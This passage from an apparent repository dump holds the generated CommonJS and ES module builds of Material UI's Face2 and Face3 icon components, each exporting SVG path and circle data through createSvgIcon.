    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.97 13.52v-.04C23.21 12.38 24 10.78 24 9c0-3.31-2.69-6-6-6q-.39 0-.78.06C16.19 1.23 14.24 0 12 0S7.81 1.23 6.78 3.06Q6.39 3 6 3C2.69 3 0 5.69 0 9c0 1.78.79 3.38 2.02 4.48v.04C.79 14.62 0 16.22 0 18c0 3.31 2.69 6 6 6 1.39 0 2.67-.48 3.69-1.28.74.18 1.51.28 2.31.28s1.57-.1 2.31-.28c1.02.8 2.3 1.28 3.69 1.28 3.31 0 6-2.69 6-6 0-1.78-.79-3.38-2.03-4.48M22 9c0 .55-.12 1.07-.32 1.54-.57-2.25-1.9-4.19-3.7-5.54H18c2.21 0 4 1.79 4 4m-9.97-4c2.73.01 5.13 1.39 6.57 3.48-.71.57-1.6.89-2.53.89C13.82 9.38 12 7.55 12 5.31c0-.1.02-.2.03-.31M12 2c1.25 0 2.36.59 3.1 1.5-.98-.32-2.02-.5-3.1-.5s-2.12.18-3.1.5C9.64 2.59 10.75 2 12 2M6 5h.02c-1.8 1.35-3.13 3.29-3.7 5.54C2.12 10.07 2 9.55 2 9c0-2.21 1.79-4 4-4m0 17c-2.21 0-4-1.79-4-4 0-.69.19-1.32.5-1.88.8 2.44 2.52 4.47 4.74 5.68-.39.13-.8.2-1.24.2m-2-9c0-3.72 2.56-6.85 6-7.74v.05c0 3.34 2.72 6.06 6.06 6.06 1.26 0 2.45-.39 3.45-1.09.31.86.49 1.77.49 2.72 0 4.41-3.59 8-8 8s-8-3.59-8-8m14 9c-.44 0-.85-.07-1.25-.2 2.23-1.21 3.94-3.24 4.74-5.68.31.56.5 1.2.5 1.88.01 2.21-1.78 4-3.99 4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"2\")], 'Face2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face2Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.97 13.52v-.04C23.21 12.38 24 10.78 24 9c0-3.31-2.69-6-6-6q-.39 0-.78.06C16.19 1.23 14.24 0 12 0S7.81 1.23 6.78 3.06Q6.39 3 6 3C2.69 3 0 5.69 0 9c0 1.78.79 3.38 2.02 4.48v.04C.79 14.62 0 16.22 0 18c0 3.31 2.69 6 6 6 1.39 0 2.67-.48 3.69-1.28.74.18 1.51.28 2.31.28s1.57-.1 2.31-.28c1.02.8 2.3 1.28 3.69 1.28 3.31 0 6-2.69 6-6 0-1.78-.79-3.38-2.03-4.48M22 9c0 .55-.12 1.07-.32 1.54-.57-2.25-1.9-4.19-3.7-5.54H18c2.21 0 4 1.79 4 4m-9.97-4c2.73.01 5.13 1.39 6.57 3.48-.71.57-1.6.89-2.53.89C13.82 9.38 12 7.55 12 5.31c0-.1.02-.2.03-.31M12 2c1.25 0 2.36.59 3.1 1.5-.98-.32-2.02-.5-3.1-.5s-2.12.18-3.1.5C9.64 2.59 10.75 2 12 2M6 5h.02c-1.8 1.35-3.13 3.29-3.7 5.54C2.12 10.07 2 9.55 2 9c0-2.21 1.79-4 4-4m0 17c-2.21 0-4-1.79-4-4 0-.69.19-1.32.5-1.88.8 2.44 2.52 4.47 4.74 5.68-.39.13-.8.2-1.24.2m-2-9c0-3.72 2.56-6.85 6-7.74v.05c0 3.34 2.72 6.06 6.06 6.06 1.26 0 2.45-.39 3.45-1.09.31.86.49 1.77.49 2.72 0 4.41-3.59 8-8 8s-8-3.59-8-8m14 9c-.44 0-.85-.07-1.25-.2 2.23-1.21 3.94-3.24 4.74-5.68.31.56.5 1.2.5 1.88.01 2.21-1.78 4-3.99 4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"2\")], 'Face2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face2Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.97 13.52v-.04C23.21 12.38 24 10.78 24 9c0-3.31-2.69-6-6-6q-.39 0-.78.06C16.19 1.23 14.24 0 12 0S7.81 1.23 6.78 3.06Q6.39 3 6 3C2.69 3 0 5.69 0 9c0 1.78.79 3.38 2.02 4.48v.04C.79 14.62 0 16.22 0 18c0 3.31 2.69 6 6 6 1.39 0 2.67-.48 3.69-1.28.74.18 1.51.28 2.31.28s1.57-.1 2.31-.28c1.02.8 2.3 1.28 3.69 1.28 3.31 0 6-2.69 6-6 0-1.78-.79-3.38-2.03-4.48M12 21c-4.41 0-8-3.59-8-8 0-3.72 2.56-6.85 6-7.74v.05c0 3.34 2.72 6.06 6.06 6.06 1.26 0 2.45-.39 3.45-1.09.31.86.49 1.77.49 2.72 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"2\")], 'Face2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face2Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.97 13.52v-.04C23.21 12.38 24 10.78 24 9c0-3.31-2.69-6-6-6q-.39 0-.78.06C16.19 1.23 14.24 0 12 0S7.81 1.23 6.78 3.06Q6.39 3 6 3C2.69 3 0 5.69 0 9c0 1.78.79 3.38 2.02 4.48v.04C.79 14.62 0 16.22 0 18c0 3.31 2.69 6 6 6 1.39 0 2.67-.48 3.69-1.28.74.18 1.51.28 2.31.28s1.57-.1 2.31-.28c1.02.8 2.3 1.28 3.69 1.28 3.31 0 6-2.69 6-6 0-1.78-.79-3.38-2.03-4.48M12 21c-4.41 0-8-3.59-8-8 0-3.72 2.56-6.85 6-7.74v.05c0 3.34 2.72 6.06 6.06 6.06 1.26 0 2.45-.39 3.45-1.09.31.86.49 1.77.49 2.72 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"2\")], 'Face2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face2Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.97 13.52v-.04C23.21 12.38 24 10.78 24 9c0-3.31-2.69-6-6-6q-.39 0-.78.06C16.19 1.23 14.24 0 12 0S7.81 1.23 6.78 3.06Q6.39 3 6 3C2.69 3 0 5.69 0 9c0 1.78.79 3.38 2.02 4.48v.04C.79 14.62 0 16.22 0 18c0 3.31 2.69 6 6 6 1.39 0 2.67-.48 3.69-1.28.74.18 1.51.28 2.31.28s1.57-.1 2.31-.28c1.02.8 2.3 1.28 3.69 1.28 3.31 0 6-2.69 6-6 0-1.78-.79-3.38-2.03-4.48M12 21c-4.41 0-8-3.59-8-8 0-3.72 2.56-6.85 6-7.74v.05c0 3.34 2.72 6.06 6.06 6.06 1.26 0 2.45-.39 3.45-1.09.31.86.49 1.77.49 2.72 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"2\")], 'Face2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face2Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.97 13.52v-.04C23.21 12.38 24 10.78 24 9c0-3.31-2.69-6-6-6q-.39 0-.78.06C16.19 1.23 14.24 0 12 0S7.81 1.23 6.78 3.06Q6.39 3 6 3C2.69 3 0 5.69 0 9c0 1.78.79 3.38 2.02 4.48v.04C.79 14.62 0 16.22 0 18c0 3.31 2.69 6 6 6 1.39 0 2.67-.48 3.69-1.28.74.18 1.51.28 2.31.28s1.57-.1 2.31-.28c1.02.8 2.3 1.28 3.69 1.28 3.31 0 6-2.69 6-6 0-1.78-.79-3.38-2.03-4.48M12 21c-4.41 0-8-3.59-8-8 0-3.72 2.56-6.85 6-7.74v.05c0 3.34 2.72 6.06 6.06 6.06 1.26 0 2.45-.39 3.45-1.09.31.86.49 1.77.49 2.72 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"2\")], 'Face2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face2TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.02 5H6C3.79 5 2 6.79 2 9c0 .55.12 1.07.32 1.54.57-2.25 1.9-4.19 3.7-5.54m9.08-1.5C14.36 2.59 13.25 2 12 2s-2.36.59-3.1 1.5c.98-.32 2.02-.5 3.1-.5s2.12.18 3.1.5M12 5.31c0 2.24 1.82 4.06 4.06 4.06.93 0 1.82-.32 2.53-.89-1.43-2.09-3.84-3.47-6.56-3.48-.01.11-.03.21-.03.31M2.5 16.12c-.31.56-.5 1.19-.5 1.88 0 2.21 1.79 4 4 4 .44 0 .85-.07 1.25-.2-2.23-1.21-3.94-3.24-4.75-5.68m19.18-5.58c.2-.47.32-.99.32-1.54 0-2.21-1.79-4-4-4h-.02c1.8 1.35 3.13 3.29 3.7 5.54M16.75 21.8c.4.13.81.2 1.25.2 2.21 0 4-1.79 4-4 0-.69-.19-1.32-.5-1.88-.81 2.44-2.52 4.47-4.75 5.68\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.97 13.52v-.04C23.21 12.38 24 10.78 24 9c0-3.31-2.69-6-6-6q-.39 0-.78.06C16.19 1.23 14.24 0 12 0S7.81 1.23 6.78 3.06Q6.39 3 6 3C2.69 3 0 5.69 0 9c0 1.78.79 3.38 2.02 4.48v.04C.79 14.62 0 16.22 0 18c0 3.31 2.69 6 6 6 1.39 0 2.67-.48 3.69-1.28.74.18 1.51.28 2.31.28s1.57-.1 2.31-.28c1.02.8 2.3 1.28 3.69 1.28 3.31 0 6-2.69 6-6 0-1.78-.79-3.38-2.03-4.48M18 5c2.21 0 4 1.79 4 4 0 .55-.12 1.07-.32 1.54-.57-2.25-1.9-4.19-3.7-5.54zm.6 3.48c-.71.57-1.6.89-2.53.89C13.82 9.38 12 7.55 12 5.31c0-.1.02-.21.03-.31 2.72.01 5.13 1.39 6.57 3.48M12 2c1.25 0 2.36.59 3.1 1.5-.98-.32-2.02-.5-3.1-.5s-2.12.18-3.1.5C9.64 2.59 10.75 2 12 2M2 9c0-2.21 1.79-4 4-4h.02c-1.8 1.35-3.13 3.29-3.7 5.54C2.12 10.07 2 9.55 2 9m4 13c-2.21 0-4-1.79-4-4 0-.69.19-1.32.5-1.88.8 2.44 2.52 4.47 4.74 5.68-.39.13-.8.2-1.24.2m6-1c-4.41 0-8-3.59-8-8 0-3.72 2.56-6.85 6-7.74v.05c0 3.34 2.72 6.06 6.06 6.06 1.26 0 2.45-.39 3.45-1.09.31.86.49 1.77.49 2.72 0 4.41-3.59 8-8 8m6 1c-.44 0-.85-.07-1.25-.2 2.23-1.21 3.94-3.24 4.74-5.68.31.56.5 1.2.5 1.88.01 2.21-1.78 4-3.99 4\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"3\")], 'Face2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face2TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.02 5H6C3.79 5 2 6.79 2 9c0 .55.12 1.07.32 1.54.57-2.25 1.9-4.19 3.7-5.54m9.08-1.5C14.36 2.59 13.25 2 12 2s-2.36.59-3.1 1.5c.98-.32 2.02-.5 3.1-.5s2.12.18 3.1.5M12 5.31c0 2.24 1.82 4.06 4.06 4.06.93 0 1.82-.32 2.53-.89-1.43-2.09-3.84-3.47-6.56-3.48-.01.11-.03.21-.03.31M2.5 16.12c-.31.56-.5 1.19-.5 1.88 0 2.21 1.79 4 4 4 .44 0 .85-.07 1.25-.2-2.23-1.21-3.94-3.24-4.75-5.68m19.18-5.58c.2-.47.32-.99.32-1.54 0-2.21-1.79-4-4-4h-.02c1.8 1.35 3.13 3.29 3.7 5.54M16.75 21.8c.4.13.81.2 1.25.2 2.21 0 4-1.79 4-4 0-.69-.19-1.32-.5-1.88-.81 2.44-2.52 4.47-4.75 5.68\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.97 13.52v-.04C23.21 12.38 24 10.78 24 9c0-3.31-2.69-6-6-6q-.39 0-.78.06C16.19 1.23 14.24 0 12 0S7.81 1.23 6.78 3.06Q6.39 3 6 3C2.69 3 0 5.69 0 9c0 1.78.79 3.38 2.02 4.48v.04C.79 14.62 0 16.22 0 18c0 3.31 2.69 6 6 6 1.39 0 2.67-.48 3.69-1.28.74.18 1.51.28 2.31.28s1.57-.1 2.31-.28c1.02.8 2.3 1.28 3.69 1.28 3.31 0 6-2.69 6-6 0-1.78-.79-3.38-2.03-4.48M18 5c2.21 0 4 1.79 4 4 0 .55-.12 1.07-.32 1.54-.57-2.25-1.9-4.19-3.7-5.54zm.6 3.48c-.71.57-1.6.89-2.53.89C13.82 9.38 12 7.55 12 5.31c0-.1.02-.21.03-.31 2.72.01 5.13 1.39 6.57 3.48M12 2c1.25 0 2.36.59 3.1 1.5-.98-.32-2.02-.5-3.1-.5s-2.12.18-3.1.5C9.64 2.59 10.75 2 12 2M2 9c0-2.21 1.79-4 4-4h.02c-1.8 1.35-3.13 3.29-3.7 5.54C2.12 10.07 2 9.55 2 9m4 13c-2.21 0-4-1.79-4-4 0-.69.19-1.32.5-1.88.8 2.44 2.52 4.47 4.74 5.68-.39.13-.8.2-1.24.2m6-1c-4.41 0-8-3.59-8-8 0-3.72 2.56-6.85 6-7.74v.05c0 3.34 2.72 6.06 6.06 6.06 1.26 0 2.45-.39 3.45-1.09.31.86.49 1.77.49 2.72 0 4.41-3.59 8-8 8m6 1c-.44 0-.85-.07-1.25-.2 2.23-1.21 3.94-3.24 4.74-5.68.31.56.5 1.2.5 1.88.01 2.21-1.78 4-3.99 4\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"3\")], 'Face2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face3.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.91 11.96C22.39 6.32 17.66 2 12 2S1.61 6.32 1.09 11.96l-.9 9.86c-.1 1.17.82 2.18 2 2.18h19.62c1.18 0 2.1-1.01 1.99-2.18zM4.54 9.13c.87.55 1.89.87 2.96.87 1.86 0 3.5-.93 4.5-2.35C13 9.07 14.64 10 16.5 10c1.07 0 2.09-.32 2.96-.87.34.89.54 1.86.54 2.87 0 4.41-3.59 8-8 8s-8-3.59-8-8c0-1.01.2-1.98.54-2.87\"\n}, \"2\")], 'Face3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face3.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.91 11.96C22.39 6.32 17.66 2 12 2S1.61 6.32 1.09 11.96l-.9 9.86c-.1 1.17.82 2.18 2 2.18h19.62c1.18 0 2.1-1.01 1.99-2.18zM4.54 9.13c.87.55 1.89.87 2.96.87 1.86 0 3.5-.93 4.5-2.35C13 9.07 14.64 10 16.5 10c1.07 0 2.09-.32 2.96-.87.34.89.54 1.86.54 2.87 0 4.41-3.59 8-8 8s-8-3.59-8-8c0-1.01.2-1.98.54-2.87\"\n}, \"2\")], 'Face3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face3Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.91 11.96C22.39 6.32 17.66 2 12 2S1.61 6.32 1.09 11.96l-.9 9.86c-.1 1.17.82 2.18 2 2.18h19.62c1.18 0 2.1-1.01 1.99-2.18zM13 4.07c2.26.28 4.22 1.51 5.49 3.28-.58.4-1.26.65-1.99.65C14.57 8 13 6.43 13 4.5zm-2 0v.43C11 6.43 9.43 8 7.5 8c-.73 0-1.41-.25-1.99-.65 1.27-1.77 3.23-3 5.49-3.28M4.54 9.13c.87.55 1.89.87 2.96.87 1.86 0 3.5-.93 4.5-2.35C13 9.07 14.64 10 16.5 10c1.07 0 2.09-.32 2.96-.87.34.89.54 1.86.54 2.87 0 4.41-3.59 8-8 8s-8-3.59-8-8c0-1.01.2-1.98.54-2.87M12 22H2.19l.56-6.2C4.25 19.44 7.82 22 12 22s7.75-2.56 9.25-6.2l.56 6.2z\"\n}, \"2\")], 'Face3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face3Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.91 11.96C22.39 6.32 17.66 2 12 2S1.61 6.32 1.09 11.96l-.9 9.86c-.1 1.17.82 2.18 2 2.18h19.62c1.18 0 2.1-1.01 1.99-2.18zM13 4.07c2.26.28 4.22 1.51 5.49 3.28-.58.4-1.26.65-1.99.65C14.57 8 13 6.43 13 4.5zm-2 0v.43C11 6.43 9.43 8 7.5 8c-.73 0-1.41-.25-1.99-.65 1.27-1.77 3.23-3 5.49-3.28M4.54 9.13c.87.55 1.89.87 2.96.87 1.86 0 3.5-.93 4.5-2.35C13 9.07 14.64 10 16.5 10c1.07 0 2.09-.32 2.96-.87.34.89.54 1.86.54 2.87 0 4.41-3.59 8-8 8s-8-3.59-8-8c0-1.01.2-1.98.54-2.87M12 22H2.19l.56-6.2C4.25 19.44 7.82 22 12 22s7.75-2.56 9.25-6.2l.56 6.2z\"\n}, \"2\")], 'Face3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face3Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.91 11.96C22.39 6.32 17.66 2 12 2S1.61 6.32 1.09 11.96l-.9 9.86c-.1 1.17.82 2.18 2 2.18h19.62c1.18 0 2.1-1.01 1.99-2.18zM4.54 9.13c.87.55 1.89.87 2.96.87 1.86 0 3.5-.93 4.5-2.35C13 9.07 14.64 10 16.5 10c1.07 0 2.09-.32 2.96-.87.34.89.54 1.86.54 2.87 0 4.41-3.59 8-8 8s-8-3.59-8-8c0-1.01.2-1.98.54-2.87\"\n}, \"2\")], 'Face3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face3Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.91 11.96C22.39 6.32 17.66 2 12 2S1.61 6.32 1.09 11.96l-.9 9.86c-.1 1.17.82 2.18 2 2.18h19.62c1.18 0 2.1-1.01 1.99-2.18zM4.54 9.13c.87.55 1.89.87 2.96.87 1.86 0 3.5-.93 4.5-2.35C13 9.07 14.64 10 16.5 10c1.07 0 2.09-.32 2.96-.87.34.89.54 1.86.54 2.87 0 4.41-3.59 8-8 8s-8-3.59-8-8c0-1.01.2-1.98.54-2.87\"\n}, \"2\")], 'Face3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face3Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.91 11.96c-.54-5.93-5.75-10.41-11.8-9.92-5.38.42-9.56 4.9-10.05 10.28L0 24h24zM4.54 9.13c.87.55 1.89.87 2.96.87 1.86 0 3.5-.93 4.5-2.35C13 9.07 14.64 10 16.5 10c1.07 0 2.09-.32 2.96-.87.34.89.54 1.86.54 2.87 0 4.41-3.59 8-8 8s-8-3.59-8-8c0-1.01.2-1.98.54-2.87\"\n}, \"2\")], 'Face3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face3Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.91 11.96c-.54-5.93-5.75-10.41-11.8-9.92-5.38.42-9.56 4.9-10.05 10.28L0 24h24zM4.54 9.13c.87.55 1.89.87 2.96.87 1.86 0 3.5-.93 4.5-2.35C13 9.07 14.64 10 16.5 10c1.07 0 2.09-.32 2.96-.87.34.89.54 1.86.54 2.87 0 4.41-3.59 8-8 8s-8-3.59-8-8c0-1.01.2-1.98.54-2.87\"\n}, \"2\")], 'Face3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face3TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 8c.73 0 1.41-.25 1.99-.65-1.27-1.77-3.23-3-5.49-3.28v.43C13 6.43 14.57 8 16.5 8M11 4.5v-.43c-2.26.28-4.22 1.51-5.49 3.28.58.4 1.26.65 1.99.65C9.43 8 11 6.43 11 4.5M2.75 15.8 2.19 22H12c-4.18 0-7.75-2.56-9.25-6.2M12 22h9.81l-.56-6.2C19.75 19.44 16.18 22 12 22\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: 